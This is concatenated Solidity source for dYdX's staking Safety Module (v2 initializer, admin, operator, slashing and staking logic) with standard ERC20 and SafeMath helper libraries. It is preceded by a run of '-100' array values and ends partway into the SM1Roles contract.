-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100
] |
// Contracts by dYdX Foundation. Individual files are released under different licenses.
//
// https://dydx.community
// https://github.com/dydxfoundation/governance-contracts
//
// SPDX-License-Identifier: AGPL-3.0
pragma solidity 0.7.5;
pragma abicoder v2;
import { SafeERC20 } from '../../dependencies/open-zeppelin/SafeERC20.sol';
import { IERC20 } from '../../interfaces/IERC20.sol';
import { SM1Admin } from '../v1_1/impl/SM1Admin.sol';
import { SM1Getters } from '../v1_1/impl/SM1Getters.sol';
import { SM1Operators } from '../v1_1/impl/SM1Operators.sol';
import { SM1Slashing } from '../v1_1/impl/SM1Slashing.sol';
import { SM1Staking } from '../v1_1/impl/SM1Staking.sol';
/**
* @title SafetyModuleV2
* @author dYdX
*
* @notice Contract for staking tokens, which may be slashed by the permissioned slasher.
*
* NOTE: Most functions will revert if epoch zero has not started.
*/
contract SafetyModuleV2 is
SM1Slashing,
SM1Operators,
SM1Admin,
SM1Getters
{
using SafeERC20 for IERC20;
// ============ Constants ============
string public constant EIP712_DOMAIN_NAME = 'dYdX Safety Module';
string public constant EIP712_DOMAIN_VERSION = '1';
bytes32 public constant EIP712_DOMAIN_SCHEMA_HASH = keccak256(
'EIP712Domain(string name,string version,uint256 chainId,address verifyingContract)'
);
// ============ Constructor ============
constructor(
IERC20 stakedToken,
IERC20 rewardsToken,
address rewardsTreasury,
uint256 distributionStart,
uint256 distributionEnd
)
SM1Staking(stakedToken, rewardsToken, rewardsTreasury, distributionStart, distributionEnd)
{}
// ============ External Functions ============
/**
* @notice Initializer for v2, intended to fix the deployment bug that affected v1.
*
* Responsible for the following:
*
* 1. Funds recovery and staker compensation:
* - Transfer all Safety Module DYDX to the recovery contract.
* - Transfer compensation amount from the rewards treasury to the recovery contract.
*
* 2. Storage recovery and cleanup:
* - Set the _EXCHANGE_RATE_ to EXCHANGE_RATE_BASE.
* - Clean up invalid storage values at slots 115 and 125.
*
* @param recoveryContract The address of the contract which will distribute
* recovered funds to stakers.
* @param recoveryCompensationAmount Amount to transfer out of the rewards treasury, for staker
* compensation, on top of the return of staked funds.
*/
function initialize(
address recoveryContract,
uint256 recoveryCompensationAmount
)
external
initializer
{
// Funds recovery and staker compensation.
uint256 balance = STAKED_TOKEN.balanceOf(address(this));
STAKED_TOKEN.safeTransfer(recoveryContract, balance);
REWARDS_TOKEN.safeTransferFrom(REWARDS_TREASURY, recoveryContract, recoveryCompensationAmount);
// Storage recovery and cleanup.
__SM1ExchangeRate_init();
// solhint-disable-next-line no-inline-assembly
assembly {
sstore(115, 0)
sstore(125, 0)
}
}
// ============ Internal Functions ============
/**
* @dev Returns the revision of the implementation contract.
*
* @return The revision number.
*/
function getRevision()
internal
pure
override
returns (uint256)
{
return 2;
}
}
// SPDX-License-Identifier: MIT
pragma solidity 0.7.5;
import { IERC20 } from '../../interfaces/IERC20.sol';
import { SafeMath } from './SafeMath.sol';
import { Address } from './Address.sol';
/**
* @title SafeERC20
* @dev From https://github.com/OpenZeppelin/openzeppelin-contracts
* Wrappers around ERC20 operations that throw on failure (when the token
* contract returns false). Tokens that return no value (and instead revert or
* throw on failure) are also supported, non-reverting calls are assumed to be
* successful.
* To use this library you can add a `using SafeERC20 for IERC20;` statement to your contract,
* which allows you to call the safe operations as `token.safeTransfer(...)`, etc.
*/
library SafeERC20 {
using SafeMath for uint256;
using Address for address;
function safeTransfer(
IERC20 token,
address to,
uint256 value
) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value));
}
function safeTransferFrom(
IERC20 token,
address from,
address to,
uint256 value
) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value));
}
function safeApprove(
IERC20 token,
address spender,
uint256 value
) internal {
require(
(value == 0) || (token.allowance(address(this), spender) == 0),
'SafeERC20: approve from non-zero to non-zero allowance'
);
callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value));
}
function callOptionalReturn(IERC20 token, bytes memory data) private {
require(address(token).isContract(), 'SafeERC20: call to non-contract');
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = address(token).call(data);
require(success, 'SafeERC20: low-level call failed');
if (returndata.length > 0) {
// Return data is optional
// solhint-disable-next-line max-line-length
require(abi.decode(returndata, (bool)), 'SafeERC20: ERC20 operation did not succeed');
}
}
}
// SPDX-License-Identifier: Apache-2.0
pragma solidity 0.7.5;
/**
* @dev Interface of the ERC20 standard as defined in the EIP.
*/
interface IERC20 {
/**
* @dev Returns the amount of tokens in existence.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns the amount of tokens owned by `account`.
*/
function balanceOf(address account) external view returns (uint256);
/**
* @dev Moves `amount` tokens from the caller's account to `recipient`.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transfer(address recipient, uint256 amount) external returns (bool);
/**
* @dev Returns the remaining number of tokens that `spender` will be
* allowed to spend on behalf of `owner` through {transferFrom}. This is
* zero by default.
*
* This value changes when {approve} or {transferFrom} are called.
*/
function allowance(address owner, address spender) external view returns (uint256);
/**
* @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* IMPORTANT: Beware that changing an allowance with this method brings the risk
* that someone may use both the old and the new allowance by unfortunate
* transaction ordering. One possible solution to mitigate this race
* condition is to first reduce the spender's allowance to 0 and set the
* desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
*
* Emits an {Approval} event.
*/
function approve(address spender, uint256 amount) external returns (bool);
/**
* @dev Moves `amount` tokens from `sender` to `recipient` using the
* allowance mechanism. `amount` is then deducted from the caller's
* allowance.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
/**
* @dev Emitted when `value` tokens are moved from one account (`from`) to
* another (`to`).
*
* Note that `value` may be zero.
*/
event Transfer(address indexed from, address indexed to, uint256 value);
/**
* @dev Emitted when the allowance of a `spender` for an `owner` is set by
* a call to {approve}. `value` is the new allowance.
*/
event Approval(address indexed owner, address indexed spender, uint256 value);
}
// SPDX-License-Identifier: AGPL-3.0
pragma solidity 0.7.5;
pragma abicoder v2;
import { SafeMath } from '../../../dependencies/open-zeppelin/SafeMath.sol';
import { SM1Types } from '../lib/SM1Types.sol';
import { SM1Roles } from './SM1Roles.sol';
import { SM1StakedBalances } from './SM1StakedBalances.sol';
/**
* @title SM1Admin
* @author dYdX
*
* @dev Admin-only functions.
*/
abstract contract SM1Admin is
SM1StakedBalances,
SM1Roles
{
using SafeMath for uint256;
// ============ External Functions ============
/**
* @notice Set the parameters defining the function from timestamp to epoch number.
*
* The formula used is `n = floor((t - b) / a)` where:
* - `n` is the epoch number
* - `t` is the timestamp (in seconds)
* - `b` is a non-negative offset, indicating the start of epoch zero (in seconds)
* - `a` is the length of an epoch, a.k.a. the interval (in seconds)
*
* Reverts if epoch zero already started, and the new parameters would change the current epoch.
* Reverts if epoch zero has not started, but would have had started under the new parameters.
*
* @param interval The length `a` of an epoch, in seconds.
* @param offset The offset `b`, i.e. the start of epoch zero, in seconds.
*/
function setEpochParameters(
uint256 interval,
uint256 offset
)
external
onlyRole(EPOCH_PARAMETERS_ROLE)
nonReentrant
{
if (!hasEpochZeroStarted()) {
require(
block.timestamp < offset,
'SM1Admin: Started epoch zero'
);
_setEpochParameters(interval, offset);
return;
}
// We must settle the total active balance to ensure the index is recorded at the epoch
// boundary as needed, before we make any changes to the epoch formula.
_settleTotalActiveBalance();
// Update the epoch parameters. Require that the current epoch number is unchanged.
uint256 originalCurrentEpoch = getCurrentEpoch();
_setEpochParameters(interval, offset);
uint256 newCurrentEpoch = getCurrentEpoch();
require(
originalCurrentEpoch == newCurrentEpoch,
'SM1Admin: Changed epochs'
);
}
/**
* @notice Set the blackout window, during which one cannot request withdrawals of staked funds.
*/
function setBlackoutWindow(
uint256 blackoutWindow
)
external
onlyRole(EPOCH_PARAMETERS_ROLE)
nonReentrant
{
_setBlackoutWindow(blackoutWindow);
}
/**
* @notice Set the emission rate of rewards.
*
* @param emissionPerSecond The new number of rewards tokens given out per second.
*/
function setRewardsPerSecond(
uint256 emissionPerSecond
)
external
onlyRole(REWARDS_RATE_ROLE)
nonReentrant
{
uint256 totalStaked = 0;
if (hasEpochZeroStarted()) {
// We must settle the total active balance to ensure the index is recorded at the epoch
// boundary as needed, before we make any changes to the emission rate.
totalStaked = _settleTotalActiveBalance();
}
_setRewardsPerSecond(emissionPerSecond, totalStaked);
}
}
// SPDX-License-Identifier: AGPL-3.0
pragma solidity 0.7.5;
pragma abicoder v2;
import { SafeMath } from '../../../dependencies/open-zeppelin/SafeMath.sol';
import { Math } from '../../../utils/Math.sol';
import { SM1Types } from '../lib/SM1Types.sol';
import { SM1Storage } from './SM1Storage.sol';
/**
* @title SM1Getters
* @author dYdX
*
* @dev Some external getter functions.
*/
abstract contract SM1Getters is
SM1Storage
{
using SafeMath for uint256;
// ============ External Functions ============
/**
* @notice The parameters specifying the function from timestamp to epoch number.
*
* @return The parameters struct with `interval` and `offset` fields.
*/
function getEpochParameters()
external
view
returns (SM1Types.EpochParameters memory)
{
return _EPOCH_PARAMETERS_;
}
/**
* @notice The period of time at the end of each epoch in which withdrawals cannot be requested.
*
* @return The blackout window duration, in seconds.
*/
function getBlackoutWindow()
external
view
returns (uint256)
{
return _BLACKOUT_WINDOW_;
}
/**
* @notice Get the domain separator used for EIP-712 signatures.
*
* @return The EIP-712 domain separator.
*/
function getDomainSeparator()
external
view
returns (bytes32)
{
return _DOMAIN_SEPARATOR_;
}
/**
* @notice The value of one underlying token, in the units used for staked balances, denominated
* as a mutiple of EXCHANGE_RATE_BASE for additional precision.
*
* To convert from an underlying amount to a staked amount, multiply by the exchange rate.
*
* @return The exchange rate.
*/
function getExchangeRate()
external
view
returns (uint256)
{
return _EXCHANGE_RATE_;
}
/**
* @notice Get an exchange rate snapshot.
*
* @param index The index number of the exchange rate snapshot.
*
* @return The snapshot struct with `blockNumber` and `value` fields.
*/
function getExchangeRateSnapshot(
uint256 index
)
external
view
returns (SM1Types.Snapshot memory)
{
return _EXCHANGE_RATE_SNAPSHOTS_[index];
}
/**
* @notice Get the number of exchange rate snapshots.
*
* @return The number of snapshots that have been taken of the exchange rate.
*/
function getExchangeRateSnapshotCount()
external
view
returns (uint256)
{
return _EXCHANGE_RATE_SNAPSHOT_COUNT_;
}
}
// SPDX-License-Identifier: AGPL-3.0
pragma solidity 0.7.5;
pragma abicoder v2;
import { SafeMath } from '../../../dependencies/open-zeppelin/SafeMath.sol';
import { SM1Roles } from './SM1Roles.sol';
import { SM1Staking } from './SM1Staking.sol';
/**
* @title SM1Operators
* @author dYdX
*
* @dev Actions which may be called by authorized operators, nominated by the contract owner.
*
* There are two types of operators. These should be smart contracts, which can be used to
* provide additional functionality to users:
*
* STAKE_OPERATOR_ROLE:
*
* This operator is allowed to request withdrawals and withdraw funds on behalf of stakers. This
* role could be used by a smart contract to provide a staking interface with additional
* features, for example, optional lock-up periods that pay out additional rewards (from a
* separate rewards pool).
*
* CLAIM_OPERATOR_ROLE:
*
* This operator is allowed to claim rewards on behalf of stakers. This role could be used by a
* smart contract to provide an interface for claiming rewards from multiple incentive programs
* at once.
*/
abstract contract SM1Operators is
SM1Staking,
SM1Roles
{
using SafeMath for uint256;
// ============ Events ============
event OperatorStakedFor(
address indexed staker,
uint256 amount,
address operator
);
event OperatorWithdrawalRequestedFor(
address indexed staker,
uint256 amount,
address operator
);
event OperatorWithdrewStakeFor(
address indexed staker,
address recipient,
uint256 amount,
address operator
);
event OperatorClaimedRewardsFor(
address indexed staker,
address recipient,
uint256 claimedRewards,
address operator
);
// ============ External Functions ============
/**
* @notice Request a withdrawal on behalf of a staker.
*
* Reverts if we are currently in the blackout window.
*
* @param staker The staker whose stake to request a withdrawal for.
* @param stakeAmount The amount of stake to move from the active to the inactive balance.
*/
function requestWithdrawalFor(
address staker,
uint256 stakeAmount
)
external
onlyRole(STAKE_OPERATOR_ROLE)
nonReentrant
{
_requestWithdrawal(staker, stakeAmount);
emit OperatorWithdrawalRequestedFor(staker, stakeAmount, msg.sender);
}
/**
* @notice Withdraw a staker's stake, and send to the specified recipient.
*
* @param staker The staker whose stake to withdraw.
* @param recipient The address that should receive the funds.
* @param stakeAmount The amount of stake to withdraw from the staker's inactive balance.
*/
function withdrawStakeFor(
address staker,
address recipient,
uint256 stakeAmount
)
external
onlyRole(STAKE_OPERATOR_ROLE)
nonReentrant
{
_withdrawStake(staker, recipient, stakeAmount);
emit OperatorWithdrewStakeFor(staker, recipient, stakeAmount, msg.sender);
}
/**
* @notice Claim rewards on behalf of a staker, and send them to the specified recipient.
*
* @param staker The staker whose rewards to claim.
* @param recipient The address that should receive the funds.
*
* @return The number of rewards tokens claimed.
*/
function claimRewardsFor(
address staker,
address recipient
)
external
onlyRole(CLAIM_OPERATOR_ROLE)
nonReentrant
returns (uint256)
{
uint256 rewards = _settleAndClaimRewards(staker, recipient); // Emits an event internally.
emit OperatorClaimedRewardsFor(staker, recipient, rewards, msg.sender);
return rewards;
}
}
// SPDX-License-Identifier: AGPL-3.0
pragma solidity 0.7.5;
pragma abicoder v2;
import { SafeERC20 } from '../../../dependencies/open-zeppelin/SafeERC20.sol';
import { SafeMath } from '../../../dependencies/open-zeppelin/SafeMath.sol';
import { IERC20 } from '../../../interfaces/IERC20.sol';
import { Math } from '../../../utils/Math.sol';
import { SM1Types } from '../lib/SM1Types.sol';
import { SM1Roles } from './SM1Roles.sol';
import { SM1Staking } from './SM1Staking.sol';
/**
* @title SM1Slashing
* @author dYdX
*
* @dev Provides the slashing function for removing funds from the contract.
*
* SLASHING:
*
* All funds in the contract, active or inactive, are slashable. Slashes are recorded by updating
* the exchange rate, and to simplify the technical implementation, we disallow full slashes.
* To reduce the possibility of overflow in the exchange rate, we place an upper bound on the
* fraction of funds that may be slashed in a single slash.
*
* Warning: Slashing is not possible if the slash would cause the exchange rate to overflow.
*
* REWARDS AND GOVERNANCE POWER ACCOUNTING:
*
* Since all slashes are accounted for by a global exchange rate, slashes do not require any
* update to staked balances. The earning of rewards is unaffected by slashes.
*
* Governance power takes slashes into account by using snapshots of the exchange rate inside
* the getPowerAtBlock() function. Note that getPowerAtBlock() returns the governance power as of
* the end of the specified block.
*/
abstract contract SM1Slashing is
SM1Staking,
SM1Roles
{
using SafeERC20 for IERC20;
using SafeMath for uint256;
// ============ Constants ============
/// @notice The maximum fraction of funds that may be slashed in a single slash (numerator).
uint256 public constant MAX_SLASH_NUMERATOR = 95;
/// @notice The maximum fraction of funds that may be slashed in a single slash (denominator).
uint256 public constant MAX_SLASH_DENOMINATOR = 100;
// ============ Events ============
event Slashed(
uint256 amount,
address recipient,
uint256 newExchangeRate
);
// ============ External Functions ============
/**
* @notice Slash staked token balances and withdraw those funds to the specified address.
*
* @param requestedSlashAmount The request slash amount, denominated in the underlying token.
* @param recipient The address to receive the slashed tokens.
*
* @return The amount slashed, denominated in the underlying token.
*/
function slash(
uint256 requestedSlashAmount,
address recipient
)
external
onlyRole(SLASHER_ROLE)
nonReentrant
returns (uint256)
{
uint256 underlyingBalance = STAKED_TOKEN.balanceOf(address(this));
if (underlyingBalance == 0) {
return 0;
}
// Get the slash amount and remaining amount. Note that remainingAfterSlash is nonzero.
uint256 maxSlashAmount = underlyingBalance.mul(MAX_SLASH_NUMERATOR).div(MAX_SLASH_DENOMINATOR);
uint256 slashAmount = Math.min(requestedSlashAmount, maxSlashAmount);
uint256 remainingAfterSlash = underlyingBalance.sub(slashAmount);
if (slashAmount == 0) {
return 0;
}
// Update the exchange rate.
//
// Warning: Can revert if the max exchange rate is exceeded.
uint256 newExchangeRate = updateExchangeRate(underlyingBalance, remainingAfterSlash);
// Transfer the slashed token.
STAKED_TOKEN.safeTransfer(recipient, slashAmount);
emit Slashed(slashAmount, recipient, newExchangeRate);
return slashAmount;
}
}
// SPDX-License-Identifier: AGPL-3.0
pragma solidity 0.7.5;
pragma abicoder v2;
import { SafeERC20 } from '../../../dependencies/open-zeppelin/SafeERC20.sol';
import { SafeMath } from '../../../dependencies/open-zeppelin/SafeMath.sol';
import { IERC20 } from '../../../interfaces/IERC20.sol';
import { Math } from '../../../utils/Math.sol';
import { SM1Types } from '../lib/SM1Types.sol';
import { SM1ERC20 } from './SM1ERC20.sol';
import { SM1StakedBalances } from './SM1StakedBalances.sol';
/**
* @title SM1Staking
* @author dYdX
*
* @dev External functions for stakers. See SM1StakedBalances for details on staker accounting.
*
* UNDERLYING AND STAKED AMOUNTS:
*
* We distinguish between underlying amounts and stake amounts. An underlying amount is denoted
* in the original units of the token being staked. A stake amount is adjusted by the exchange
* rate, which can increase due to slashing. Before any slashes have occurred, the exchange rate
* is equal to one.
*/
abstract contract SM1Staking is
SM1StakedBalances,
SM1ERC20
{
using SafeERC20 for IERC20;
using SafeMath for uint256;
// ============ Events ============
event Staked(
address indexed staker,
address spender,
uint256 underlyingAmount,
uint256 stakeAmount
);
event WithdrawalRequested(
address indexed staker,
uint256 stakeAmount
);
event WithdrewStake(
address indexed staker,
address recipient,
uint256 underlyingAmount,
uint256 stakeAmount
);
// ============ Constants ============
IERC20 public immutable STAKED_TOKEN;
// ============ Constructor ============
constructor(
IERC20 stakedToken,
IERC20 rewardsToken,
address rewardsTreasury,
uint256 distributionStart,
uint256 distributionEnd
)
SM1StakedBalances(rewardsToken, rewardsTreasury, distributionStart, distributionEnd)
{
STAKED_TOKEN = stakedToken;
}
// ============ External Functions ============
/**
* @notice Deposit and stake funds. These funds are active and start earning rewards immediately.
*
* @param underlyingAmount The amount of underlying token to stake.
*/
function stake(
uint256 underlyingAmount
)
external
nonReentrant
{
_stake(msg.sender, underlyingAmount);
}
/**
* @notice Deposit and stake on behalf of another address.
*
* @param staker The staker who will receive the stake.
* @param underlyingAmount The amount of underlying token to stake.
*/
function stakeFor(
address staker,
uint256 underlyingAmount
)
external
nonReentrant
{
_stake(staker, underlyingAmount);
}
/**
* @notice Request to withdraw funds. Starting in the next epoch, the funds will be “inactive”
* and available for withdrawal. Inactive funds do not earn rewards.
*
* Reverts if we are currently in the blackout window.
*
* @param stakeAmount The amount of stake to move from the active to the inactive balance.
*/
function requestWithdrawal(
uint256 stakeAmount
)
external
nonReentrant
{
_requestWithdrawal(msg.sender, stakeAmount);
}
/**
* @notice Withdraw the sender's inactive funds, and send to the specified recipient.
*
* @param recipient The address that should receive the funds.
* @param stakeAmount The amount of stake to withdraw from the sender's inactive balance.
*/
function withdrawStake(
address recipient,
uint256 stakeAmount
)
external
nonReentrant
{
_withdrawStake(msg.sender, recipient, stakeAmount);
}
/**
* @notice Withdraw the max available inactive funds, and send to the specified recipient.
*
* This is less gas-efficient than querying the max via eth_call and calling withdrawStake().
*
* @param recipient The address that should receive the funds.
*
* @return The withdrawn amount.
*/
function withdrawMaxStake(
address recipient
)
external
nonReentrant
returns (uint256)
{
uint256 stakeAmount = getStakeAvailableToWithdraw(msg.sender);
_withdrawStake(msg.sender, recipient, stakeAmount);
return stakeAmount;
}
/**
* @notice Settle and claim all rewards, and send them to the specified recipient.
*
* Call this function with eth_call to query the claimable rewards balance.
*
* @param recipient The address that should receive the funds.
*
* @return The number of rewards tokens claimed.
*/
function claimRewards(
address recipient
)
external
nonReentrant
returns (uint256)
{
return _settleAndClaimRewards(msg.sender, recipient); // Emits an event internally.
}
// ============ Public Functions ============
/**
* @notice Get the amount of stake available for a given staker to withdraw.
*
* @param staker The address whose balance to check.
*
* @return The staker's stake amount that is inactive and available to withdraw.
*/
function getStakeAvailableToWithdraw(
address staker
)
public
view
returns (uint256)
{
// Note that the next epoch inactive balance is always at least that of the current epoch.
return getInactiveBalanceCurrentEpoch(staker);
}
// ============ Internal Functions ============
function _stake(
address staker,
uint256 underlyingAmount
)
internal
{
// Convert using the exchange rate.
uint256 stakeAmount = stakeAmountFromUnderlyingAmount(underlyingAmount);
// Update staked balances and delegate snapshots.
_increaseCurrentAndNextActiveBalance(staker, stakeAmount);
_moveDelegatesForTransfer(address(0), staker, stakeAmount);
// Transfer token from the sender.
STAKED_TOKEN.safeTransferFrom(msg.sender, address(this), underlyingAmount);
emit Staked(staker, msg.sender, underlyingAmount, stakeAmount);
emit Transfer(address(0), msg.sender, stakeAmount);
}
function _requestWithdrawal(
address staker,
uint256 stakeAmount
)
internal
{
require(
!inBlackoutWindow(),
'SM1Staking: Withdraw requests restricted in the blackout window'
);
// Get the staker's requestable amount and revert if there is not enough to request withdrawal.
uint256 requestableBalance = getActiveBalanceNextEpoch(staker);
require(
stakeAmount <= requestableBalance,
'SM1Staking: Withdraw request exceeds next active balance'
);
// Move amount from active to inactive in the next epoch.
_moveNextBalanceActiveToInactive(staker, stakeAmount);
emit WithdrawalRequested(staker, stakeAmount);
}
function _withdrawStake(
address staker,
address recipient,
uint256 stakeAmount
)
internal
{
// Get staker withdrawable balance and revert if there is not enough to withdraw.
uint256 withdrawableBalance = getInactiveBalanceCurrentEpoch(staker);
require(
stakeAmount <= withdrawableBalance,
'SM1Staking: Withdraw amount exceeds staker inactive balance'
);
// Update staked balances and delegate snapshots.
_decreaseCurrentAndNextInactiveBalance(staker, stakeAmount);
_moveDelegatesForTransfer(staker, address(0), stakeAmount);
// Convert using the exchange rate.
uint256 underlyingAmount = underlyingAmountFromStakeAmount(stakeAmount);
// Transfer token to the recipient.
STAKED_TOKEN.safeTransfer(recipient, underlyingAmount);
emit Transfer(msg.sender, address(0), stakeAmount);
emit WithdrewStake(staker, recipient, underlyingAmount, stakeAmount);
}
}
// SPDX-License-Identifier: MIT
pragma solidity 0.7.5;
/**
* @dev Wrappers over Solidity's arithmetic operations with added overflow
* checks.
*
* Arithmetic operations in Solidity wrap on overflow. This can easily result
* in bugs, because programmers usually assume that an overflow raises an
* error, which is the standard behavior in high level programming languages.
* `SafeMath` restores this intuition by reverting the transaction when an
* operation overflows.
*
* Using this library instead of the unchecked operations eliminates an entire
* class of bugs, so it's recommended to use it always.
*/
library SafeMath {
/**
* @dev Returns the addition of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `+` operator.
*
* Requirements:
* - Addition cannot overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, 'SafeMath: addition overflow');
return c;
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, 'SafeMath: subtraction overflow');
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting with custom message on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
* - Subtraction cannot overflow.
*/
function sub(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
/**
* @dev Returns the multiplication of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `*` operator.
*
* Requirements:
* - Multiplication cannot overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, 'SafeMath: multiplication overflow');
return c;
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, 'SafeMath: division by zero');
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts with custom message on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
* - The divisor cannot be zero.
*/
function div(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
// Solidity only automatically asserts when dividing by 0
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, 'SafeMath: modulo by zero');
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts with custom message when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
* - The divisor cannot be zero.
*/
function mod(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
// SPDX-License-Identifier: MIT
pragma solidity 0.7.5;
/**
* @dev Collection of functions related to the address type
*/
library Address {
/**
* @dev Returns true if `account` is a contract.
*
* [IMPORTANT]
* ====
* It is unsafe to assume that an address for which this function returns
* false is an externally-owned account (EOA) and not a contract.
*
* Among others, `isContract` will return false for the following
* types of addresses:
*
* - an externally-owned account
* - a contract in construction
* - an address where a contract will be created
* - an address where a contract lived, but was destroyed
* ====
*/
function isContract(address account) internal view returns (bool) {
// According to EIP-1052, 0x0 is the value returned for not-yet created accounts
// and 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470 is returned
// for accounts without code, i.e. `keccak256('')`
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
// solhint-disable-next-line no-inline-assembly
assembly {
codehash := extcodehash(account)
}
return (codehash != accountHash && codehash != 0x0);
}
/**
* @dev Replacement for Solidity's `transfer`: sends `amount` wei to
* `recipient`, forwarding all available gas and reverting on errors.
*
* https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost
* of certain opcodes, possibly making contracts go over the 2300 gas limit
* imposed by `transfer`, making them unable to receive funds via
* `transfer`. {sendValue} removes this limitation.
*
* https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more].
*
* IMPORTANT: because control is transferred to `recipient`, care must be
* taken to not create reentrancy vulnerabilities. Consider using
* {ReentrancyGuard} or the
* https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern].
*/
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, 'Address: insufficient balance');
// solhint-disable-next-line avoid-low-level-calls, avoid-call-value
(bool success, ) = recipient.call{value: amount}('');
require(success, 'Address: unable to send value, recipient may have reverted');
}
}
// SPDX-License-Identifier: Apache-2.0
pragma solidity 0.7.5;
pragma abicoder v2;
library SM1Types {
/**
* @dev The parameters used to convert a timestamp to an epoch number.
*/
struct EpochParameters {
uint128 interval;
uint128 offset;
}
/**
* @dev Snapshot of a value at a specific block, used to track historical governance power.
*/
struct Snapshot {
uint256 blockNumber;
uint256 value;
}
/**
* @dev A balance, possibly with a change scheduled for the next epoch.
*
* @param currentEpoch The epoch in which the balance was last updated.
* @param currentEpochBalance The balance at epoch `currentEpoch`.
* @param nextEpochBalance The balance at epoch `currentEpoch + 1`.
*/
struct StoredBalance {
uint16 currentEpoch;
uint240 currentEpochBalance;
uint240 nextEpochBalance;
}
}
// SPDX-License-Identifier: AGPL-3.0
pragma solidity 0.7.5;
pragma abicoder v2;
import { SM1Storage } from './SM1Storage.sol';
/**
* @title SM1Roles
* @author dYdX
*
